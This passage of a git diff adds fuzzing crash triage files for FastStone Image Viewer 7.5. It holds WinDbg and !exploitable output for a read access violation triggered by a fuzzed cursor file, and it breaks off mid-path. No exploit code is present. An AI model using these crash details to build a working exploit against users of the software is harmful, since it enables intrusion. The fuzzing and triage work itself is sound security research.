C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1394: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1394.16c0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00ffed2d ecx=07f07b10 edx=00003879 esi=fce30010 edi=0fc6afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.749491301075272800000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.41585e+016 -2.16842e+024 -4.30285e-009 0.000248138 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fe8130 07f65930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0031d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0031d000 2d8f65c9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629c 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0031d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65698/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65698/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..9d03994 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65698/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1394: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1394: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1394.16c0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00ffed2d ecx=07f07b10 edx=00003879 esi=fce30010 edi=0fc6afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.749491301075272800000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.41585e+016 -2.16842e+024 -4.30285e-009 0.000248138 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fe8130 07f65930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0031d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0031d000 2d8f65c9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629c 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0031d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65698/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65698/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..78631f7 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65698/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65850/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65850/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65850/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65850/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65850/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..422adca Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65850/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65850/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash 